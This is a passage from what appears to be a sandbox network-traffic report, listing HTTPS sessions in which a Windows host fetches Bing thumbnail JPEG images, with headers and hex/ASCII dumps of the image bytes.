w'mm7y\|FKi%U[=*+'P7}Sig+;k8`7Q6f]G~? nsqL>]}uI3nPu\|~!.t[%6WFWZ<L)Va}MvptPN/Z9_5+4sq'-n
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: fe 65 d3 da 55 c4 ad f2 ee f9 79 00 e3 f3 a3 c2 42 3b 69 a2 9e 79 59 4e e2 36 af fb 3d 7f 5a a2 a4 3b 71 b9 56 2e 7f da c9 e9 56 54 9b 59 30 57 fd 5e 3e 5f 73 cd 4c b5 56 1a d1 dc d9 d4 b5 1b 79 6d e0 88 ed f2 d6 79 4b 6d fc 00 3f a5 62 6a 4f 9f f4 41 b7 62 b7 e8 29 d6 18 37 12 17 5f dd c9 27 ca be d5 59 6c ee ee ee 25 82 1d be 64 7c f9 6c db 5e 41 db 68 3f 7b e9 d6 a6 11 51 63 6d b2 3b 16 8d 55 50 c5 c7 99 9f 33 77 cd 8f ee 8a f7 6f d9 27 5b b0 f0 57 c5 0b 3b 84 d4 1b ec 9a c4 12 47 2c 2d 1e e7 64 54 2d 19 1b 7f 88 b2 f0 2b 84 f0 6f c1 8f 89 5e 2a d6 20 d3 b4 bf 0a dc c6 9b 43 35 cd df ee 60 84 1e 72 ee 7f 90 c9 f6 af a0 fc 23 fb 24 be 9f 7d 6d 3e af e3 19 e6 58 ad 8f 99 fd 9f 07 d9 e4 59 06 00 11 b3 16 f9 71 9e 48 cd 72 62 eb d2 e5 e5 72 df b1 d1 46 8d Data Ascii: eUyB;iyYN6=Z;qV.VTY0W^>_sLVymyKm?bjOAb)7_'Yl%d\|l^Ah?{Qcm;UP3wo'[W;G,-dT-+o^* C5`r#$}m>XYqHrbrF
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 05 fc 36 3f d8 f6 11 b1 13 ac b9 32 5c 3a af 54 e0 7e ef 77 73 cf 15 cf 8a a9 52 29 59 d9 1b 61 e1 06 dd d6 a7 4b 6d 69 e5 b3 49 b6 38 e4 b9 e6 5d 8a 36 fd 3f 0f 5a bb 0b 6d 5f bc ac 2b 32 d6 da 78 1a 2d f2 c9 78 64 97 ee af dd c7 7c fb 55 db 6d 34 43 71 e6 4a cd 2e d9 0b c7 ff 00 4c f3 d8 57 96 77 97 51 df fd 9a 9d 0b ed a8 a3 8b f7 99 a9 93 25 69 a4 63 2b 74 1c a6 96 9a ad fb c6 1f dd c5 52 d7 35 3b 6d 3e dd bc d9 d6 39 1b 1b 57 f8 b9 38 e9 54 42 4e e5 fc 81 4d 66 02 ab df 48 b6 d6 6d 23 b7 3b 7e 55 5f bc de d5 8f e1 8b cd 5b 56 8f ce d4 2c 5b 4f 55 63 b6 0d db 9e 40 0e 03 31 fe 1c fa 75 a5 77 62 94 51 d0 6f 07 a3 2f cb 50 35 d2 19 36 27 5a 7c 70 00 bc aa e7 fd 9a 91 63 40 b8 0b 46 ac 3d d4 33 32 36 dc 7c b5 22 8c 54 57 77 31 41 1b 12 dc af f0 af de aa Data Ascii: 6?2\:T~wsR)YaKmiI8]6?Zm_+2x-xd\|Um4CqJ.LWwQ%ic+tR5;m>9W8TBNMfHm#;~U_[V,[OUc@1uwbQo/P56'Z\|pc@F=326\|"TWw1A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49751	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:08 UTC	346	OUT	GET /th?id=OADD2.10239381066314_1K7DCGUB8OSLDMFYA&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-18 20:11:08 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 321904 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: ECD07528021E44508F3A4D5937397B48 Ref B: EWR30EDGE0306 Ref C: 2024-12-18T20:11:08Z Date: Wed, 18 Dec 2024 20:11:07 GMT Connection: close
2024-12-18 20:11:08 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 30 3a 33 30 20 31 36 3a 31 34 3a 30 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:10:30 16:14:018C
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 87 06 85 cc 55 db 52 db ff 00 ae a6 54 df bb 4f 2d d2 a5 2b 94 5f ba d3 f7 da 47 3a 79 3f bc df ff 00 6c de ba 8f 84 37 da b5 96 b9 72 fa 5d 9c 37 17 76 f1 f9 91 7e eb fc fc a7 bd 60 e9 ad 3d ef ee 34 eb 3f b4 4f e5 ff 00 c7 b7 f1 c9 b7 ef 54 ff 00 0f bc 4a fe 13 f1 5d b6 ae 61 96 4f b3 ef 49 22 ff 00 9e 91 37 ca e8 d5 d1 46 5c 8d 5c c2 a2 56 d4 fa ab c3 17 37 77 7a 7c 53 de c3 e5 bc 91 79 9e 5f fc f3 ad 2a c8 f0 5e b5 06 bb a1 db 6a 36 bf bb 8e e2 3a d7 a5 24 d3 d4 51 b5 86 c6 bb 3e e5 3b 6d 14 54 94 36 48 a3 7f 91 ea be 95 63 06 9b a7 c7 65 6b 0f 97 04 7f ea ea d5 45 1d cc 6f 34 89 ff 00 2d 23 a0 0c bf 1e 6a ba 2e 8f a1 c9 7b ad 79 32 5a c7 fe b3 cd ff 00 6b e5 af 92 3c 69 a9 ff 00 6e f8 9a 44 b5 f3 be cb 1c 9f 67 b2 8e 5f f9 66 9f dd af ab 7e 28 e8 7e Data Ascii: URTO-+_G:y?l7r]7v~`=4?OTJ]aOI"7F\\V7wz\|Sy_*^j6:$Q>;mT6HcekEo4-#j.{y2Zk<inDg_f~(~
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: fe 5a 52 9c a6 a5 15 37 d8 a8 46 16 95 bb 7e b7 3a c9 ef bc 51 a9 f9 7f d9 1a 6c 36 50 7f cf 4b ef fe 26 9b 3e 8b e2 1b db b8 92 fb 58 86 3b 5f f9 69 1d b4 5f 3f fd f5 5d 1e ed df 25 3e 48 24 b7 f9 de 8d 58 ee 8a 1a 56 91 61 a5 5a 79 16 b0 fe f3 fe 5a cb 2f df 92 a5 7a b9 24 bb 2a 84 94 d0 84 db be a3 91 64 fb 89 56 20 b3 9e e2 6d 90 7f ac ff 00 59 55 e7 8a 44 9a 3f f9 67 e6 7e f2 3a 2c 36 53 93 e7 a6 48 d4 fb a8 bc a9 b6 54 2f 4c 41 e6 ec f9 ff 00 e7 9d 62 6a 56 d7 7a 7e a1 fd b7 a2 43 e6 79 92 79 9a 96 93 e6 ec 4b ff 00 f6 e3 fe e4 df fa 15 6d a5 46 f5 2e 29 a1 a7 66 60 78 7f 5a 8f 53 d2 75 2b af 03 4d e5 c9 e6 ff 00 a6 e8 b7 d0 ec 4f 37 fd a8 ff 00 e5 93 ff 00 b6 b5 2c 0d ae dd da 47 75 65 79 a7 49 07 fa b9 3f e7 b5 a4 bf c5 14 89 fd ef fd 0a 9f ae 69 Data Ascii: ZR7F~:Ql6PK&>X;_i_?]%>H$XVaZyZ/z$*dV mYUD?g~:,6SHT/LAbjVz~CyyKmF.)f`xZSu+MO7,GueyI?i
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: fd ea a7 e1 fd 56 79 7c ad 07 5b 86 1b 7d 62 db 7c 71 ff 00 72 fd 17 fe 5a c7 f5 fe ed 42 76 63 b6 97 2c 48 b4 ed db e9 f7 4b 55 f6 7b 55 34 9e e2 2e ef df 0f c9 54 b5 2b c8 34 fb 49 2f 6e a6 f2 e0 8f fd 65 33 52 d4 6d 34 ab 49 2e af af 3e cf 04 75 cb e9 5f 6b f1 ad df db 6f a1 9a df 47 b3 93 f7 56 df f3 f1 50 ad d4 39 5b 1b 34 7e 25 f1 5d a5 cc e9 79 36 9d a6 c9 1f fa 34 71 7f ae 92 9b e1 fb 9f 0f 78 2a d7 ec 4f f6 bb dd 63 cb f3 2f 64 8a 2d ef be bb 2b e9 e0 d3 f4 f9 2f 67 fd dc 16 f1 d6 6f 80 f4 ff 00 27 4e 97 54 9e 1f 2e eb 51 91 ee 24 ff 00 73 f8 68 ea 52 b5 99 c4 7c 4d b6 f1 0e b7 a4 c7 e3 27 d3 7f b3 a3 d0 7f 79 e6 45 ff 00 1f 3f 65 6f f5 9f 97 5a f5 5f 83 56 37 ff 00 0d 34 9b 98 f4 ef 12 7f 6f 5a eb de 4d fc 77 b7 3f 3f da 22 d9 fb b7 56 ff 00 76 Data Ascii: Vy\|[}b\|qrZBvc,HKU{U4.T+4I/ne3Rm4I.>u_koGVP9[4~%]y64qx*Oc/d-+/go'NT.Q$shR\|M'yE?eoZ_V74oZMw??"Vv
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 7f ac bd 93 cb 8f fe 05 5b de 55 73 1a 94 a9 77 f1 0a c6 cb f8 2c a3 7b 8f f8 1d 31 25 66 6d 58 c1 1d 96 9f 1d 94 1f ea e3 89 2a d5 ac ff 00 67 9b 7b c3 e6 7f d3 39 6a 18 fe 79 aa 69 d7 cd fd ff 00 9d fb ca 7b 02 77 64 5e 6e ca 64 72 d3 e3 82 47 86 47 ff 00 9e 74 cd b4 c8 26 91 bc da 64 6b 4e b5 96 48 7e e5 3e 36 a0 07 53 e1 6d f3 6c a8 a4 a7 58 ff 00 c8 42 3f fa e9 41 a1 d2 41 2f fc 4d a3 4f fa 76 78 eb 37 c4 72 ff 00 c4 c3 fe d9 d5 c8 25 8e 5f 16 6c 4f f5 7e 5d 50 f1 07 97 f6 cd e9 4d 2b 89 ab 94 dd b7 d3 e0 f9 28 4a 2a c5 ca 15 a3 e1 95 df 77 73 27 fc f3 b6 7a c8 9d ab 73 c1 7b e2 86 fa eb fe 99 f9 75 0d 58 69 58 cb d6 37 f9 d5 5e 08 ab 4b 52 8b 7e ad 22 51 25 b7 d9 e6 d9 fe b3 fe 9a 53 e6 14 46 47 17 ee 77 d1 1f c9 56 ff 00 70 90 fe ff 00 fe 79 fe ee Data Ascii: [Usw,{1%fmXg{9jyi{wd^ndrGGt&dkNH~>6SmlXB?AA/MOvx7r%_lO~]PM+(Jws'zs{uXiX7^KR~"Q%SFGwVpy
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 69 d2 35 1b a9 22 64 b5 0d b5 a1 03 49 e6 c7 b2 a9 4e db 21 a2 c6 7f df 7e ff 00 fd 5d 4c 95 c4 e2 4b 74 df c6 ff 00 eb 2a ac 6d bf cc a6 dd 4b bf cc 74 a3 4d 5d d4 e3 b1 24 3b 6a c4 0b fb ea 6c 8b 42 55 81 a7 1c 16 8f f3 bd 3e 48 ad 13 fe 5b 7f d7 3a a1 be 9f 53 ca 3b 93 c9 f3 fc f5 63 74 0f e5 ff 00 cf 4a a5 1b 54 b1 b6 cf 9e a4 a4 ae 5d db fb 9d ff 00 f6 ce b6 3c 06 d2 59 6b 91 cf fe ae 3f 9e 39 3f e0 55 8d 1d ce ef 92 a5 fb 64 96 f3 47 3f fa cf 2e b3 d4 71 3b 5b e5 d3 6e 26 b9 9f ce f2 e4 ff 00 59 fb aa c9 8e f3 fb 3f f7 70 7f ab 92 4f 32 4f fa 69 59 7a 6e b5 3c b7 5b 3e c7 e6 79 95 d1 5f 49 ff 00 12 49 37 d9 fe f2 df fd 65 34 ae 51 93 e2 6d 43 ed 53 5b 40 90 f9 71 c7 be b2 f7 47 52 eb 93 da 3d dc 7f 65 f3 bf d5 fe f3 cd fe fd 57 8d a3 ab 02 39 3f d7 Data Ascii: i5"dIN!~]LKt*mKtM]$;jlBU>H[:S;ctJT]<Yk?9?UdG?.q;[n&Y?pO2OiYzn<[>y_II7e4QmCS[@qGR=eW9?
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: f2 2d 00 53 91 69 9b aa c4 e9 55 64 a0 07 47 2d 4b e6 d5 6d d4 ef 37 fe 59 d0 43 77 09 fe 7a a7 74 b5 72 46 aa b3 fc f4 08 c9 ba fe e5 72 9e 31 d4 e7 b2 9a 3b 58 21 ff 00 59 1f 99 e6 57 65 75 1f ef ab 8d f8 8c d2 45 77 6d 07 fa c8 e4 8f cc ac 71 17 f6 4e ce c6 75 3e 13 9a 92 c6 ff 00 58 bb de f3 4d 24 9f f5 d6 af 68 f0 7d 9e ee 3b af f9 e7 59 32 6b 52 69 3f e9 5e 4f ee 3c cf 2e 5f f8 15 6d c7 2c 6f e6 5d 41 fb cb 5f 33 cc af 1d 61 5b 8a 93 77 69 99 a9 34 ae 8e ce 0f 2e 58 77 a7 fc b4 a9 d1 76 55 0d 26 2f 2a d2 3d 9f bc 8e af c7 5e e4 2e e2 b9 b7 3a 09 e3 5a b1 02 53 6d 6a e4 1b 2a 80 7c 71 6f 86 ab dc 2e ca b9 1f c9 51 5d 2d 05 6c 61 ea 30 46 f0 d7 3f a9 5b 6c ae ae e9 6b 1b 52 8a a8 93 9a 9d 7f 75 54 24 5a da be 83 f7 5f 25 64 dd 7c 9f 25 50 db b9 4e f9 Data Ascii: -SiUdG-Km7YCwztrFr1;X!YWeuEwmqNu>XM$h};Y2kRi?^O<._m,o]A_3a[wi4.XwvU&/=^.:ZSmj\|qo.Q]-la0F?[lkRuT$Z_%d\|%PN
2024-12-18 20:11:09 UTC	16067	IN	Data Raw: b7 bd 73 42 4b 5b b4 d3 e4 d4 5e 18 63 be ff 00 9e 7f c1 59 3e 2a f1 64 17 be 1e 93 4e b2 fd dc f7 12 7d 9f f7 b0 d5 7f 8a 92 6a 56 5a 1d ce a9 fd a5 35 bc 7f ea e3 b6 8b fb f5 e6 3a 77 89 6f e5 bb 8d ef 61 86 e2 3b 79 3c ca ca b5 78 d2 27 49 3b 32 e6 b9 a0 ea de 1a d4 36 5e d9 f9 72 59 6c 92 49 63 ff 00 69 fe 46 5a ce f1 36 bd 7f aa dd f9 17 b0 fe f3 cc ff 00 59 2d 5f ba f1 fc 9a 9f ee 2f 61 f3 23 8e 4f f9 6b 59 7e 32 82 4d 3f 56 b6 bd b5 fd dc 77 11 f9 91 c5 f7 fc bf f6 6b 8d 63 21 1a ca 9c 93 57 57 57 29 41 a5 be 85 8b bf 3e 2b b8 f4 8d 46 6f b3 c7 6f 27 fa c8 be 7f 2d 1f f8 bf da ab 5a e7 85 74 9d 13 c4 37 d6 af af 5a 6a 30 47 1a 49 6d 73 6d f7 2e 11 ab 97 f3 e4 96 ef e4 ff 00 59 27 ee ea 7b 5b 3f 36 69 3e db 0d dd c7 ee ff 00 77 e5 57 62 6b ae a6 6d Data Ascii: sBK[^cY>*dN}jVZ5:woa;y<x'I;26^rYlIciFZ6Y-_/a#OkY~2M?Vwkc!WWW)A>+Foo'-Zt7Zj0GImsm.Y'{[?6i>wWbkm
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 96 9f bc f3 69 24 b1 92 f6 6d 93 d9 ff 00 a5 47 fb bf dd 7f cb 4a a5 74 f7 d0 56 8d ee cb 1e 1b b3 92 5b 4b 99 d3 fe 59 ef a7 41 2c 8f 36 f8 26 a8 35 c8 93 4f d3 ed ad 6c b5 2f b4 79 9f bc 96 3f 2b 67 d9 df fb 95 2f 86 75 58 ed 34 3b ed 3b c9 87 cc b9 91 24 f3 25 aa 70 56 f3 0b 3b 5d 16 ac 67 9d ed 6e 77 fe ee 4f 31 24 8e 48 aa 59 ef a0 96 18 f6 43 e5 ff 00 cf cf ff 00 15 54 f4 ad 46 44 f3 20 7f f5 72 55 7b a4 8f ed 72 3a 7f cb 3a e4 a9 79 58 6d 58 dc 8e 2b 4b 8d 3e 3d 9f bb 93 cc 7f f5 bf 73 65 32 38 bf e2 61 6c f3 fe f2 4b 79 3c cf dd 7c f5 4a c5 a3 fb 26 c7 fd e2 53 6c 65 93 ce 93 c8 9a 6f 2e b9 a9 df 9e 4f 9a cc 1c 59 76 79 67 96 f2 47 9f fd 64 95 25 ad ac fe 4e ff 00 27 f7 7f f3 d2 aa da 7d be e3 50 92 04 fd e7 97 5a 9a 94 f2 3c 3b 1f f7 70 47 ff 00 Data Ascii: i$mGJtV[KYA,6&5Ol/y?+g/uX4;;$%pV;]gnwO1$HYCTFD rU{r::yXmX+K>=se28alKy<\|J&Sleo.OYvygGd%N'}PZ<;pG
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 4d 42 31 9b 5c c6 57 6d dc e4 ad 6d b7 fc fe 77 97 24 75 6a c7 55 f2 a5 f9 ff 00 d6 7f cb 4a 8b 55 b1 bf 8a 6f dd c3 37 97 27 fc b4 a7 ff 00 61 dd c5 e5 ce f0 f9 95 b4 a1 4e ba bb d4 34 27 fb 65 df da f7 c1 fb bf 32 a5 9d a3 78 63 9a f7 f7 73 c7 ff 00 91 2a 0d bf 64 9a 58 6e a1 9a 3f f9 e7 1d 52 d7 25 91 f4 ff 00 fa 69 5c ca 9f ef 22 a0 ac bc 80 bf fd a5 61 71 0f d8 a4 fd dc 72 7f cb 4a c6 f2 bc af fa e9 1c b5 5e d7 e7 fb f4 d9 1a 4f e0 ae da 34 d5 39 3b 3d c0 e8 6c 6e 64 78 63 44 9b fe 3e 3f 77 73 ff 00 02 ac 5b eb 6f b3 dd 48 8f fe b2 3f 92 ac 69 5e 7f 9d bf fe 79 d4 fe 20 96 d2 ee 69 24 b5 87 ec fe 67 fc b3 fb f5 bf 35 99 46 34 ed fc 14 47 15 36 48 23 8b e7 7a 9f 74 09 0f c9 55 62 47 f9 1b ea bf fa 99 b6 7f cb 39 29 be 7c 9f c1 51 6e fd f7 cf 4c 0b f1 Data Ascii: MB1\Wmmw$ujUJUo7'aN4'e2xcs*dXn?R%i\"aqrJ^O49;=lndxcD>?ws[oH?i^y i$g5F4G6H#ztUbG9)\|QnL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49750	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:08 UTC	346	OUT	GET /th?id=OADD2.10239381066313_1SPDQGELA3SLXFIM6&pid=21.2&c=3&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-18 20:11:08 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 347875 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: A91FC984889548C885B16DA48CFC4F68 Ref B: EWR30EDGE0220 Ref C: 2024-12-18T20:11:08Z Date: Wed, 18 Dec 2024 20:11:08 GMT Connection: close
2024-12-18 20:11:08 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 34 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 30 3a 33 30 20 31 36 3a 31 33 3a 32 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 24.4 (Windows)2023:10:30 16:13:298C
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 4d c7 84 e4 be b9 d7 62 b7 9e 4b 67 fb 3c 7f f3 ce e1 3f e5 8c 9f ef af dc 93 f0 af 42 34 27 42 50 9e 22 a5 e5 24 94 ac b4 73 ea f4 d7 b7 52 39 d3 5a 2d 0e de ea ff 00 fe 13 3f 0c e9 b0 da e8 d0 e8 de 15 f0 ec 7f 64 b9 b9 8e 5d ef f3 ff 00 14 9f de fa fe 75 ca 68 7a 8c fa 64 ba b5 96 9d 37 99 63 a8 c7 e4 49 24 b1 7f ac 8b 7e e5 ff 00 75 ab d1 3e 1d f8 c9 34 4f 87 ba b7 86 bc 59 a3 f9 73 5e e9 d3 41 65 a8 c7 0e c4 b8 95 d3 fd 4d cf fb 5f dd 93 f3 af 30 f3 67 fd da 7f cb 48 ff 00 d6 57 9f 46 8c a3 ed 29 a8 fe e9 3f 77 5b a7 ad db d7 5b df 7f 91 a4 b7 4e f7 3d c6 c7 48 d1 be 21 5d e9 df 10 fc 4f ac 5a 69 d6 37 12 3d 86 a5 65 73 74 e8 9e 6a 27 c8 d1 ff 00 b2 fd ea ee 95 ae e9 be 04 8a e7 50 f8 79 a3 c3 7b 3c 91 bc 1e 64 5b dd 36 ff 00 7f 77 fe 3c 2b c7 74 dd Data Ascii: MbKg<?B4'BP"$sR9Z-?d]uhzd7cI$~u>4OYs^AeM_0gHWF)?w[[N=H!]OZi7=estj'Py{<d[6w<+t
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 68 2e ed 24 82 78 61 92 09 23 f2 ee 63 97 ee 6c 6a c6 b1 8f 52 d3 e1 8e c9 26 fe d1 82 39 3f 77 25 cc bb 2e 7c af ee 6e fe 3d bf de ad 98 2e 7f 81 ff 00 79 1f fc b5 a6 5d 45 04 b7 7b d3 f7 70 52 94 6e ae 24 ec 72 be 38 f1 55 ff 00 87 f4 f8 dd f4 19 a4 be bd 93 cb d3 6c a2 bb 47 9a e1 ff 00 dc 5f e1 1d eb 5b e1 af 86 ae 34 2d 26 47 d5 ef 21 b8 d6 2f 6e 7c cd 46 f6 28 be 79 1f f8 7f e0 2b 4f f1 1e 95 1f fc 26 fe 05 d6 20 f2 64 9e 3d 4a e6 c3 cc ff 00 ae f0 fc bb 3f e0 49 5d 5c 0d 3e 9f a8 47 7a 9e 4f 99 ff 00 3c e5 ff 00 d9 ab 8b 99 dd c5 9b 45 24 af dc 59 3f d2 21 f3 e6 f2 64 8f cb fd e4 91 56 77 9f 05 a4 3b 27 87 fd 16 49 3f 79 fc 69 ff 00 03 5a dc d0 d6 3b 88 a4 b5 9f c9 ff 00 49 8f ff 00 b2 5a 23 82 0b 79 a3 df 37 da 3c cf f9 e5 f2 79 75 50 57 62 a8 ed Data Ascii: h.$xa#cljR&9?w%.\|n=.y]E{pRn$r8UlG_[4-&G!/n\|F(y+O& d=J?I]\>GzO<E$Y?!dVw;'I?yiZ;IZ#y7<yuPWb
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 78 64 97 fe 59 b7 fb d5 b9 f0 f7 5a d2 75 5d 72 da ea ea f2 1b dd 4a de 3f f5 92 c4 ff 00 e8 89 27 f1 37 f7 77 ed fb 95 8b a1 f8 0a fa e2 d2 c6 d5 f5 89 64 9e 38 d2 48 ff 00 b9 e6 d7 7f f0 d7 e1 dc 7a 7c d2 3c ff 00 e9 11 f9 7f bb 92 4f f6 9f 77 de fe 3a 8c 16 05 cd 5a 6d b6 9b b7 65 7f f3 15 4b 45 e8 6a 69 5e 1e d2 66 f3 36 69 be 5c 9a 8f fa 44 7f dc ff 00 ae 8f fe d1 ae a3 4a d3 e3 b2 87 fe 7a 4f ff 00 2d 24 ab b0 c1 1d bc 3b 20 87 cb 8e 9d b6 be 96 30 51 e8 72 39 36 45 b2 99 75 3c 76 b0 fc f4 fd 4a ea 0b 2b 49 2e a7 fb 91 d7 90 78 c7 c7 fb f5 1b 98 e0 87 cc fd df ee ff 00 b9 1b d5 6a 23 aa f8 a1 e3 a8 34 ab 4f b1 59 7e f2 ea 4f f5 9f f4 ce bc 87 49 d5 6f e2 bb fb 6f 9d 37 9f e6 79 9e 65 55 9e 5b bb d9 bc fb a9 bc c9 24 ff 00 96 b5 66 d6 29 22 86 4f fa Data Ascii: xdYZu]rJ?'7wd8Hz\|<Ow:ZmeKEji^f6i\DJzO-$; 0Qr96Eu<vJ+I.xj#4OY~OIoo7yeU[$f)"O
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 4b 5b af a9 84 b0 ea d6 b1 c8 fc 35 bd 9e e3 c4 d7 d7 ba 2e b1 77 65 75 f2 5d c7 a6 cb 13 fd 9f 53 65 4f 9f cc fe ed 5d d6 35 f9 1f fe 26 9a 3e 99 77 1b c7 1b c7 73 6d 73 0f cf b5 9f e6 dd fe ed 7b 17 80 6d bc 31 7b 67 25 a5 ad 9f f6 7b db ff 00 a2 5c 59 4b f7 e0 dd fe 7e f5 79 24 fe 34 d4 fc 3d ae 6a fa 76 a1 69 a4 c9 fd 9f 73 35 bd b5 ef 95 b1 ee 11 1f 6e ea bc 1e 3d e6 b9 85 6e 5c 3a 75 34 ba 93 b6 9d f4 4a ff 00 3b f9 5d 17 52 9a a5 05 76 75 3e 56 a7 a6 78 ca e3 c4 57 5a 8c 5f 65 92 db c8 d3 ac 63 97 7b c9 e6 a2 6d d8 9f ec 9a 48 fc 43 06 8f 79 a4 69 1a 5f ef 2c 7f b5 a6 bf fb 4f c9 f7 37 f9 72 7f c0 b7 7c f5 c9 6a 9e 38 d5 af b4 fd 12 e6 d6 1d 42 3d 62 3d f1 db 4b 65 16 c8 7f bd b1 7f e7 ab b5 70 f1 df 6a 5f da d2 4f 3c d2 c7 3f 98 f2 7e f7 fb ed f7 Data Ascii: K[5.weu]SeO]5&>wsms{m1{g%{\YK~y$4=jvis5n=n\:u4J;]Rvu>VxWZ_ec{mHCyi_,O7r\|j8B=b=Kepj_O<?~
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 95 6f 9a 07 f2 9e 08 7c bf fa 67 51 4f 73 23 fe e7 f7 35 2d d5 b6 cf 33 fe 99 d3 e4 78 fe d7 be d6 1f 2e 3f f9 e7 49 5a c8 76 19 fd 9b 3b 7c 89 e4 c9 27 fc f3 ab 70 68 d2 5b da 79 fa 8f fa 3c 72 7e ee 39 2b 3e 79 e4 4a 8b ed 73 fd c7 fd e5 0a 32 7d 44 6c dd 68 d0 2d a7 9f 04 de 67 fc f3 aa 17 56 3e 57 97 b2 a0 b1 fb 5b 7c 90 56 8c 12 c9 2f fc 7e ff 00 ac 8e a5 dd 3d c0 fa 96 35 a7 6d a9 a3 58 ff 00 8e a5 82 2d f5 d9 cc 62 45 1a d4 b0 54 be 45 3b ca fd ed 1c c8 06 ee a9 23 5a 7c 8b 1f dc a8 a4 ac c0 b1 1c 55 3c 76 db 2a ac 0d 22 43 bd ff 00 d5 d6 a6 9b 3c 12 d9 c8 9f f2 d3 fe 59 d4 4a 4d 14 52 b5 8b ce 9b 65 3e ea 2f b3 cd b2 af e9 3a 7f 9b fb ff 00 f5 71 c7 fe b2 b2 24 6f df 51 1a 8a 73 02 5f 36 4f 3b cc a8 f7 50 f4 91 b6 ca d4 05 a7 55 7d d4 f8 da 80 25 Data Ascii: 